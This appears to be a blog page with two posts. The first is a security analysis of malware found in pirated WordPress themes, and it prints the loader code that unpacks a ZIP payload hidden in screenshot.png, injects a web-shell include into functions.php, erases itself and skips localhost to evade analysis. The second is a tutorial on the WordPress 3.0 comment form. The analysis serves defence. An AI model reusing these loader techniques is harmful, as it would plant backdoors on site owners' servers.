As I’ve gotten involved with helping the WordPress.org theme review team, I’ve seen some strange things. One of the stranger ones was a theme virus that actually propagated from one theme to all others in a WordPress installation. That one was awfully clever, but it ultimately didn’t really do anything but propagate and generally be a pain in the ass.
However, today, @chip_bennett discovered that one of his themes had been copied and was being redistributed by a site called top-themes.com.
It had malware inserted into it that is of a much more malicious and spammy nature. Further investigation reveals that ALL of the themes on that site contain basically the same code. This code is not actually “viral”, but it’s definitely malware and it’s worth investigating to see some of the ways people try to hide their spam.
So today, I’m going to dissect it and serve it up on a platter for everybody to see.
Infection Point
We’ll start with the most obvious starting point, and that is in the functions.php file. At the very end of the functions.php file, we find a call to “get_custom_headers();”. An innocuous enough sounding name, so we go find that function. Here’s the first part of the function:
function get_custom_headers() { $_SESSION['authenticated'] = false; $filename = dirname(__FILE__).DS."screenshot.png";
Right away, something is wrong. It’s getting the location of the screenshot file (DS is defined elsewhere as the Directory Separator, which makes it work on both Linux and Windows boxes). That doesn’t make a whole lot of sense, the screenshot is supposed to be displayed by the admin interface only. Let’s read on.
$fileContents = explode(pack("c*", 0xAE,0x42,0x60,0x82), file_get_contents($filename)); $screenshot = array_shift($fileContents);
The “pack” function is one that isn’t used much. It’s a means of manipulating binary files. The “explode” function is a way of splitting a string by some characters. So what this code really is doing is to find a particular string of hex digits in the screenshot file, split it across that boundary, and then get only the first part of that (the actual screenshot file), thanks to the array shift. This gets used later.
In other words, he’s appended something onto the end of the screenshot file, and this code reads it in, finds it, then gets a copy of it. What could this be? Turns out to be a ZIP file.
$unzipped = false; $path = check_istalled_path($_SERVER['DOCUMENT_ROOT']);
The check_istalled_path function looks for a wp-additional directory and returns a path to it.
if($path === false && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") { if(function_exists("zip_read")) { $path = array_pop(array_shuffle(find_writeble_path($_SERVER['DOCUMENT_ROOT']))); @mkdir($path = $path.DS."wp-additional"); file_put_contents($path.DS."archive.zip", implode(pack("c*", 0xAE,0x42,0x60,0x82), $fileContents)); $zip = new ZipArchive; if ($zip->open($path.DS."archive.zip")===true) { $zip->extractTo($path.DS); $zip->close(); unlink($path.DS."archive.zip"); $unzipped = true; } @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php")); }
If the zip_read function is available, he makes a wp-additional directory and puts the ZIP file there. Then he simply unzips the malware file into the target theme. This requires a bit of explanation.
Elsewhere there is a function called “find_writeble_path”. This function doesn’t limit itself to the current theme’s directory. Instead, it looks through all installed themes on the system and tries to find all themes that has permissions set to allow it to be written to. So in all of the above, he’s really looking for any theme that he can infect with the malware contained in this archive. The “array_shuffle” line is his way of picking a random theme.
So he unzips the malware to that theme then adds code to himself to that makes it try to read and execute this wshell.php file.
But if the wp-additional directory full of malware has already been created somewhere on the system, then the above code doesn’t run. If it finds the malware directory, then it skips that and just does the following:
} else { if($_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") { $path = $_SERVER['DOCUMENT_ROOT'].DS.$path; @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php")); } }
It found the malware, so it simply rewrites itself to make sure it includes it.
The overall affect of the above code is to make the them unzip the malware into any theme directory it can find, then rewrite itself to attempt to include it.
Next we have self-eliminating code:
@file_put_contents(__FILE__, array_shift(explode("function get_custom_headers", file_get_contents(__FILE__)))); @file_put_contents(dirname(__FILE__).DS."screenshot.png", $screenshot);
What does this code do? Well, it erases itself from the file!
This code reads the file that the malware code is in right now (with file_get_contents(__FILE__) ). Then it explodes it along the get_custom_headers function. Finally, it writes it back out to the file itself.
Basically, using the explode and array_shift method, it finds the get_custom_headers function code, then writes the functions.php back out without that code or anything after it. Now that the malware has done its job, this code basically self deletes, to make it not traceable. All that’s left is the wp-additional directory that contains the malware, and the include it wrote to the beginning of the file to load that malware.
Here’s where it also erases itself from the screenshot, using the $screenshot variable it saved earlier.
if(function_exists("zip_read") && $unzipped == true && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") { @require_once($path.DS."wshell.php"); } }
This just makes it load the now-decompressed wshell.php malware immediately, instead of waiting for the next page load.
Also note how the code doesn’t run on localhost installs? If you look closely, the self-removing code does run on those installs. Meaning that if you run this theme in a test bed, then it removes itself without infection. This is to make it harder for people to analyse the code, since it disappears the first time you run it on a local test system.
The Malware
So what is this malware? Well, there’s two parts to it.
The first part is a standard PHP Shell install, essentially giving a shell backdoor to anybody who knows the location of the malware and the username and password. This is a massive security hole, obviously.
The second part is somewhat custom. It’s in the wshell.php file that the above malware tries so hard to get you to include. Essentially, this installs a spamming system of fairly wide ranging scope.
The first thing it does is to notify its master that it exists. It does this by making a connection to 188.165.212.17 and sending what looks sorta like SMTP commands, but which are probably customized in some way. But basically it tells this server where it’s installed and how it can be accessed. After it gets confirmation, it sets a parameter to make it not send this again.
The spamming system itself contains a number of commands. The way it gets commands from the attacker is by looking for them in cookies with a name of “wsh-cmd”. So in this sense, it’s kind of like a server. The attacker has some kind of a client that talks to your server via the normal HTTP, but sends it hidden commands via this cookie.
The commands allow the attacker to view a list of writable files in your themes directory, and to view any specified readable file on the system. It avoids triggering mod_security systems by base64 encoding files that it sends around. But the main thrust of the system is to allow the attacker to insert links into, and remove links from, any writable theme file.
Essentially, it’s a remote-controlled automated link spamming tool.
The attacker can send URLs to your system and it will insert them into theme files. He can later remove those links. There’s a lot of code to allow it to generate proper links, to insert them into specific lines, things of that nature.
Summary
In short, don’t trust dodgy theme sites. Get your free themes from WordPress.org Extend-Themes instead.
Also, this sort of thing should tell you why we ban certain types of things from the WordPress.org theme repository. We can’t scan for specific malware, as it’s too easy to get around that sort of scanning. Scanning for functions that most of these malwares use is simpler and more effective. And all of our themes go through human-eye review as well, with anything even slightly dodgy getting brought up before a mailing list of experts who can take a look and determine what is what.
WordPress 3.0 Theme Tip: The Comment Form
WordPress 3.0 has something very handy that I want theme authors to start implementing as soon as possible.
To show exactly why it’s so useful, I modified my own theme to start using it.
Demonstration
So, here’s a big hunk of code I pulled out of my current theme’s comments.php. This hunk of code has only one purpose: To display the form area where people can leave a comment:
Nasty, eh? It’s a mess of if/else statements. It handles cases where the user is logged in or not, where the comments are open or closed, whether registration is required, etc. It’s confusing, difficult to modify, poor for CSS referencing…
Here’s what I replaced all that code with:
Now then, that’s much better, isn’t it?
The comment_form function is new to 3.0. Basically, it standardizes the comments form. It makes it wonderful for us plugin authors, since now we can easily modify the comments form with various hooks and things. I’ve already modified Simple Facebook Connect and Simple Twitter Connect to support this new approach; if you’re using a theme with this, then the user won’t have to modify it to have their buttons appear on the comments form.
Customizing
Since theme authors love to customize things, the comments form is also extremely customizable. Doing it, however, can be slightly confusing.
Inside the comments_form function, we find some useful hooks to let us change things around.
The first hook is comment_form_default_fields. This lets us modify the three main fields: author, email, and website. It’s a filter, so we can change things as they pass through it. The fields are stored in an array which contains the html that is output. So it looks sorta like this:
I truncated it for simplicity. But what this means is that code like this can modify the fields:
That sort of thing lets us add a new input field, or modify the existing ones, etc…
But fields aren’t the only thing we can change. There’s a comment_form_defaults filter too. It gets a lot of the surrounding text of the comments form. The defaults look sorta like this:
All the various pieces of html that are displayed as part of the comment form section are defined here. So those can be modified as you see fit. However, unlike the fields, adding new bits here won’t help us at all. The fields get looped through for displaying them, these are just settings that get used at various times.
But filters are not the only way to modify these. The comment_form function actually can take an array of arguments as the first parameter, and those arguments will modify the form. So if we wanted a simple change, like to change the wording of “Leave a Reply”, then we could do this:
This gives us a simple and easy way to make changes without all the trouble of filters. Nevertheless, those filters can be very useful for more complex operations.
But wait, there’s more!
As the comments form is being created, there’s a ton of action hooks being called, at every stage. So if you want to insert something into the form itself, there’s easy ways to do it.
A quick list of the action hooks. Most of them are self-explanatory.
CSS and other extras
Let’s not forget styling. All parts of the comments form have nice classes and id’s and such. Take a look at the resulting HTML source and you’ll find all the styling capabilities you like. Also, everything is properly semantic, using label tags and aria-required and so forth. All the text is run through the translation system for core translations.
So theme authors should start modifying their themes to use this instead of the existing big-ugly-comment-form code. Your users will thank you for it. Plugin authors will thank you for it. And really, it’s about time we made WordPress themes more about design and less about the nuts and bolts of the programming, no?
Category: Code, WordPress | 243 Comments